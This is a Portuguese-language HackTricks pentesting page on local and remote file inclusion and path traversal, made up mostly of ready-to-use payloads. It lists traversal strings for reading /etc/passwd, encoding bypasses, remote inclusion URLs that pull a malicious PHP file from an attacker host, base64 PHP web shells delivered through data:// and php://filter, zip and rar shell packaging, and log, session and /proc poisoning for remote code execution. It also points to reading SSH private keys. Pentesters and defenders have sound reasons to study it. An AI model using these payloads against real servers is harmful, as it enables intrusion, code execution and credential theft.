hacktricks/pentesting-web/file-inclusion/README.md

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# Inclusão de Arquivo/Travessia de Caminho
<details>
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</details>
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## Inclusão de Arquivo
**Inclusão de Arquivo Remoto (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor irá executá-lo). Em php isso é **desativado** por padrão (**allow\_url\_include**).\
**Inclusão de Arquivo Local (LFI):** O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.
**Funções PHP vulneráveis**: require, require\_once, include, include\_once
Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Cegos - Interessantes - Arquivos LFI2RCE
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Misturando várias listas LFI \*nix e adicionando mais caminhos, criei esta:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Tente também trocar `/` por `\`\
Tente também adicionar `../../../../../`
Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Mesclagem de diferentes listas de palavras:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Tente também trocar `/` por `\`\
Tente também remover `C:/` e adicionar `../../../../../`
Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Verifique a lista LFI do Linux.
## LFI básico e bypasses
Todos os exemplos são para Inclusão de Arquivo Local, mas podem ser aplicados também à Inclusão de Arquivo Remoto (página=[http://meuserver.com/phpshellcode.txt\\](http://meuserver.com/phpshellcode.txt\)/).
```
http://example.com/index.php?page=../../../etc/passwd
```
### sequências de travessia removidas de forma não recursiva
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Byte nulo (%00)**
Bypass para adicionar mais caracteres no final da string fornecida (bypass de: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Este problema foi **resolvido desde o PHP 5.4**
### **Codificação**
Você poderia usar codificações não padrão como a codificação de URL dupla (e outras):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Da pasta existente
Talvez o back-end esteja verificando o caminho da pasta:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Explorando Diretórios do Sistema de Arquivos em um Servidor
O sistema de arquivos de um servidor pode ser explorado de forma recursiva para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
1. **Determinar a Profundidade do Diretório:**
Averigue a profundidade do seu diretório atual ao obter com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um URL de exemplo pode ser estruturado da seguinte forma, indicando uma profundidade de três:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Sonda de Pastas:**
Acrescente o nome da pasta suspeita (por exemplo, `private`) à URL e, em seguida, navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em um:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpretar os Resultados:**
A resposta do servidor indica se a pasta existe:
- **Erro / Sem Saída:** A pasta `private` provavelmente não existe no local especificado.
- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada.
4. **Exploração Recursiva:**
As pastas descobertas podem ser investigadas para subdiretórios ou arquivos adicionais usando a mesma técnica ou métodos tradicionais de Inclusão de Arquivos Locais (LFI).
Para explorar diretórios em diferentes locais no sistema de arquivos, ajuste a carga útil conforme necessário. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está a uma profundidade de 3), use:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Técnica de Truncamento de Caminho**
O truncamento de caminho é um método utilizado para manipular caminhos de arquivos em aplicações web. É frequentemente usado para acessar arquivos restritos, contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivos. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` são tratados como o mesmo caminho.
- Quando os últimos 6 caracteres são `passwd`, acrescentar um `/` (tornando-o `passwd/`) não altera o arquivo alvo.
- Da mesma forma, se `.php` for acrescentado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo sendo acessado.
Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de conta de usuário):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Nos cenários mencionados, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
- **Usando Segmentos de Ponto e Caracteres Adicionais**:
Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente as strings anexadas pelo servidor.
- **Determinando o Número Necessário de Travessias**:
Através de tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e depois para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
- **Começando com um Diretório Falso**:
É uma prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminho do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.
**Essa vulnerabilidade foi corrigida no PHP 5.3.**
### **Truques de bypass de filtro**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Inclusão de Arquivo Remoto
No PHP, isso é desativado por padrão porque **`allow_url_include`** está **Off.** Deve estar **On** para funcionar e, nesse caso, você poderia incluir um arquivo PHP do seu servidor e obter RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Se por algum motivo **`allow_url_include`** estiver **Ativado**, mas o PHP estiver **filtrando** o acesso a páginas da web externas, [de acordo com esta postagem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP b64 e obter RCE:
{% code overflow="wrap" %}
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
{% endcode %}
{% hint style="info" %}
No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e após a decodificação b64, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
{% endhint %}
Outro exemplo **sem usar o protocolo `php://`** seria:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
{% endcode %}
## Elemento raiz do Python
Em python em um código como este:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho anterior é simplesmente removido**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
É o comportamento pretendido de acordo com [a documentação](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente do caminho absoluto.
## Listagem de Diretórios em Java
Parece que se você tiver uma Traversal de Caminho em Java e **solicitar um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (pelo que sei).
## Top 25 parâmetros
Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI usando wrappers e protocolos PHP
### php://filter
Os filtros PHP permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros:
* [Filtros de String](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">")
* Note que este filtro desapareceu das versões modernas do PHP
* [Filtros de Conversão](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*`: Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
{% hint style="warning" %}
Abusando do filtro de conversão `convert.iconv.*`, você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer um processo de inclusão de texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
{% endhint %}
* [Filtros de Compressão](https://www.php.net/manual/en/filters.compression.php)
* `zlib.deflate`: Comprime o conteúdo (útil se estiver extraindo muitas informações)
* `zlib.inflate`: Descomprime os dados
* [Filtros de Criptografia](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*`: Obsoleto
* `mdecrypt.*`: Obsoleto
* Outros Filtros
* Executando em PHP `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
* `consumed`
* `dechunk`: reverte a codificação chunked HTTP
* `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
{% hint style="warning" %}
A parte "php://filter" é case insensitive
{% endhint %}
### php://fd
Este wrapper permite acessar descritores de arquivo que o processo tem aberto. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Você também pode usar **php://stdin, php://stdout e php://stderr** para acessar os **descritores de arquivo 0, 1 e 2** respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
### zip:// e rar://
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
O esquema `data://` permite incluir dados diretamente no código-fonte de uma página da web, sem a necessidade de um arquivo externo. Isso pode ser explorado por hackers para injetar código malicioso e executá-lo no contexto do site vulnerável. É importante garantir que a entrada de dados seja devidamente validada e sanitizada para evitar vulnerabilidades de inclusão de arquivos.
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Note que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`**
### expect://
Expect deve estar ativado. Você pode executar código usando isso:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Especifique sua carga útil nos parâmetros POST:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como `include` para carregamento de arquivos. O trecho de código PHP fornecido abaixo demonstra a criação de um arquivo `.phar`:
```php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Para compilar o arquivo `.phar`, o seguinte comando deve ser executado:
```bash
php --define phar.readonly=0 create_path.php
```
Ao ser executado, um arquivo chamado `test.phar` será criado, o qual poderia ser potencialmente utilizado para explorar vulnerabilidades de Inclusão Local de Arquivos (LFI).
Nos casos em que o LFI apenas realiza a leitura de arquivos sem executar o código PHP dentro deles, por meio de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, a exploração de uma vulnerabilidade de desserialização poderia ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
Para uma compreensão detalhada da exploração de vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
[Guia de Exploração de Desserialização de Phar](phar-deserialization.md)
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
{% endcontent-ref %}
### Mais protocolos
Confira mais possíveis [**protocolos para incluir aqui**](https://www.php.net/manual/en/wrappers.php)**:**
* [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivos)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessar o sistema de arquivos local
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessar URLs HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessar URLs FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de compressão
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar caminhos que correspondem a um padrão (não retorna nada imprimível, então não é realmente útil aqui)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Fluxos de áudio (Não útil para ler arquivos arbitrários)
## LFI via 'assert' do PHP
Os riscos de Inclusão Local de Arquivos (LFI) em PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contendo caracteres de travessia de diretório como ".." estiver sendo verificada, mas não devidamente sanitizada.
Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diretórios da seguinte forma:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Embora isso tenha como objetivo impedir a travessia, acaba criando inadvertidamente um vetor para injeção de código. Para explorar isso e ler o conteúdo do arquivo, um atacante poderia usar:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
```plaintext
' and die(system("id")) or '
```
É importante **codificar esses payloads com URL**.
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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## Traversão de Caminho PHP às Cegas
{% hint style="warning" %}
Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) mas o conteúdo não é exibido.
{% endhint %}
Neste [**post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho às cegas pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oráculo de erro**.
Em resumo, a técnica utiliza a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.
Em seguida, para vazar o primeiro caractere, o filtro **`dechunk`** é usado juntamente com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**.
**Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (apenas alvo somente leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Para detalhes técnicos, consulte o post mencionado!
## LFI2RCE
### Inclusão Remota de Arquivos
Explicado anteriormente, [**siga este link**](./#remote-file-inclusion).
### Via arquivo de log do Apache/Nginx
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definir dentro do **agente do usuário** ou dentro de um **parâmetro GET** um shell php como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
{% hint style="warning" %}
Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP lançará um erro** e **nada mais será executado**.
Além disso, certifique-se de **escrever corretamente o payload** ou o PHP irá gerar erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
{% endhint %}
Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs poderia estar codificado em URL e isso poderia destruir o Shell. O cabeçalho **autorização "básica"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\
Outros possíveis caminhos de log:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
### Via Email
**Enviar um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tentar incluir no e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
1. Faça upload de muitos shells (por exemplo: 100)
2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser forçado bruto) e $FD o descritor de arquivo (também pode ser forçado bruto)
### Via /proc/self/environ
Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
Se você puder fazer upload de um arquivo, basta injetar o payload do shell nele (por exemplo: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
### Via upload de arquivo Zip
Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Através de sessões PHP
Verifique se o site utiliza Sessão PHP (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
No PHP, essas sessões são armazenadas nos arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Defina o cookie para `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Utilize o LFI para incluir o arquivo de sessão PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id\_rsa**
### **Via** **vsftpd** _**logs**_
Os logs do servidor FTP vsftpd estão localizados em **_/var/log/vsftpd.log_**. No cenário em que existe uma vulnerabilidade de Inclusão Local de Arquivos (LFI) e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
1. Injete um payload PHP no campo de nome de usuário durante o processo de login.
2. Após a injeção, utilize o LFI para recuperar os logs do servidor em **_/var/log/vsftpd.log_**.
### Via filtro php base64 (usando base64)
Conforme mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora o Non-base64. Você pode usar isso para burlar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignora o "." e anexa "php" ao base64. Aqui está um exemplo de payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Através de filtros php (sem necessidade de arquivo)
Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para a inclusão **sem precisar escrevê-lo** em um arquivo.
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
{% endcontent-ref %}
### Através de falha de segmentação
**Faça upload** de um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição**, acione uma **falha de segmentação**, e então o **arquivo temporário não será excluído** e você pode procurá-lo.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}
### Através do armazenamento de arquivos temporários do Nginx
Se você encontrou uma **Inclusão Local de Arquivo** e o **Nginx** está em execução na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
{% endcontent-ref %}
### Através do PHP\_SESSION\_UPLOAD\_PROGRESS
Se você encontrou uma **Inclusão Local de Arquivo** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você poderia abusar disso para obter RCE:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php_session_upload_progress.md)
{% endcontent-ref %}
### Através de uploads de arquivos temporários no Windows
Se você encontrou uma **Inclusão Local de Arquivo** e o servidor está em **Windows**, você pode obter RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
{% endcontent-ref %}
### Através do phpinfo() (file\_uploads = on)
Se você encontrou uma **Inclusão Local de Arquivo** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode obter RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}
### Através de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgação de Caminho
Se você encontrou uma **Inclusão Local de Arquivo** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com essa **Condição de Corrida**:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md)
{% endcontent-ref %}
### Através de espera eterna + força bruta
Se você puder abusar da LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, então você poderia **forçar nomes de arquivos por horas** para encontrar o arquivo temporário:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
{% endcontent-ref %}
### Para Erro Fatal
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para lançar esse erro).
**Eu não sei como isso é útil, mas pode ser.**\
_Mesmo se você causar um Erro Fatal do PHP, os arquivos temporários do PHP enviados são excluídos._
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
## Referências
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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